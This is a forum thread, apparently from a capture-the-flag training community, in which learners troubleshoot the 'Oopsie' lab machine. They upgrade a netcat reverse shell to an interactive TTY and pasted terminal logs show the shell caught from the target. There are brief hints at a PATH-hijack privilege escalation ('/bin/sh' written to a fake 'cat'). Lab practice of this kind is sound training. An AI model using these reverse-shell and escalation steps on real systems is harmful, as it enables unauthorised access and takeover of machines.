Oopsie upgrading shell

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

This is where im stuck at. i got the shell up and running. www-data. But im not quite sure what to do from here as im not getting a clear response. Would appreciate some help.

you need to push the button ctrl z not copy paste the whole code.

then type stty raw -echo

after that enter: fg and you will be brought back into server, then you type reset and then it will ask for the terminal type and then you enter xterm

thanks i got beyond that point. now im stuck at echo ‘/bin/sh’ > cat
getting permission denied

i got that problem too, somebody created a post where i replied with a link to the solution which fixed it for me

i got that problem too

Run the echo command in a directory where you have permission to create files and that will fix it. Also make sure it is in the same directory where you ran the export command

It’s asking you for a terminal type. Type xterm and you should have it.
From my understanding:
Ctrl + Z Should send your open remote session to background. Equivalent of minimizing in command line
stty raw -echo will upgrade the terminal window that you’re running to have stuff like pressing the up arrow to access history
fg Unminimizes the remote shell but it now has extended functionality because of the previous command
reset resets the terminal
xterm after reset the terminal will prompt you with “Terminal type?” and that’s where you type “xterm”

As for the second issue, it’s like ebok said - you don’t have permissions to do anything there. When I did this box it wouldn’t let me do anything from /var/www/html/cdn-cgi/login so I cd'd to /home/robert and tried the commands from there, which has worked for me.

hello friends,

as per the script below
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

when i prses Ctrl-Z it just kills the remote shell connect with nc command…

help what am i doing wrong here…

i got help from someone and they explained “Ctrl-Z” is only to put the remote shell in the background and then “fg” to bring it back

Type your comment> @deeptestpilot said:

hello friends,

as per the script below
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

when i prses Ctrl-Z it just kills the remote shell connect with nc command…

help what am i doing wrong here…

Just wanted to share something I found on reddit this for anyone wanting to get a better understanding of what a command does. It’s not perfect but it helps.

https://explainshell.com/

$ SHELL=/bin/bash script -q /dev/null
www-data@oopsie:/$ ^Z
zsh: suspended sudo nc -lvnp 33456

┌──(kali㉿kali)-[~]
└─$ stty raw -echo 148 ⨯ 1 :gear:

┌──(kali㉿kali)-[~]
└─$
1 :gear:

┌──(kali㉿kali)-[~]
└─$
fg⚙
[1] + continued sudo nc -lvnp 33456
reset^M

This is the output I get when I go through the commands… It doesn’t take my back into the shell, and also doesn’t let me hit enter.

Also my terminal Is basically unusable now, because I cant Ctrl-Z, Ctrl-C, Ctrl-D or even Ctrl-W. I just end up having to manually exit.

NVM I GOT IT WORKING, but each time I type a command I have to click enter then Ctrl-D

┌──(kali㉿kali)-[~]
└─$ stty raw 148 ⨯ 1 :gear:

┌──(kali㉿kali)-[~]
└─$ fg⚙
[1] + continued sudo nc -lvnp 33456
reset^Mxterm^M^X^C^C
www-data@oopsie:/$ resetreset^M^F^C^Z^X^Mrest^Mreset^M^Crest
esetrest: command not found
www-data@oopsie:/$ reset
reset: unknown terminal type unknown
Terminal type? xterm^Mxterm

www-data@oopsie:/$ xterm^M^M^Mxterm
Command ‘xterm’ not found, but can be installed with:
apt install xterm
Please ask your administrator.
www-data@oopsie:/$
www-data@oopsie:/$
www-data@oopsie:/$ apt install xterm^Mapt install xterm
E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?
www-data@oopsie:/$ sudo apt install xterm^M^Xsudo apt install xterm
[sudo] password for www-data:

But now I don’t know the password, also it’s weird that xterm isn’t installed.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 33456
[sudo] password for kali:
listening on [any] 33456 …
connect to [10.10.14.186] from (UNKNOWN) [10.10.10.28] 45518
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 >x86_64 x86_64 GNU/Linux
17:00:21 up 2:04, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$ SHELL=/bin/bash script -q /dev/null
www-data@oopsie:/$ ^Z
zsh: suspended sudo nc -lvnp 33456

┌──(kali㉿kali)-[~]
└─$ stty raw -echo 148 ⨯ 1 :gear:

┌──(kali㉿kali)-[~]
└─$ fg⚙
[1] + continued sudo nc -lvnp 33456
reset^Mreset
reset: unknown terminal type unknown
Terminal type? xterm^Mxterm

www-data@oopsie:/$ ls^Mls
bin dev initrd.img lib64 mnt root snap sys var
boot etc initrd.img.old lost+found opt run srv tmp vmlinuz
cdrom home lib media proc sbin swap.img usr vmlinuz.old

OK so this seems to work. Im gonna keep seeing where it takes me/

From what I understand, the whole point of going through these set of commands is so that you can interact with the remote shell as you would local (history completion, up arrow history, etc.) but I’m not getting that at all. I’m finding as a couple comments up had mentioned, that I have to continue using CTRL-D to EOF any of the special characters. Is there something I am missing?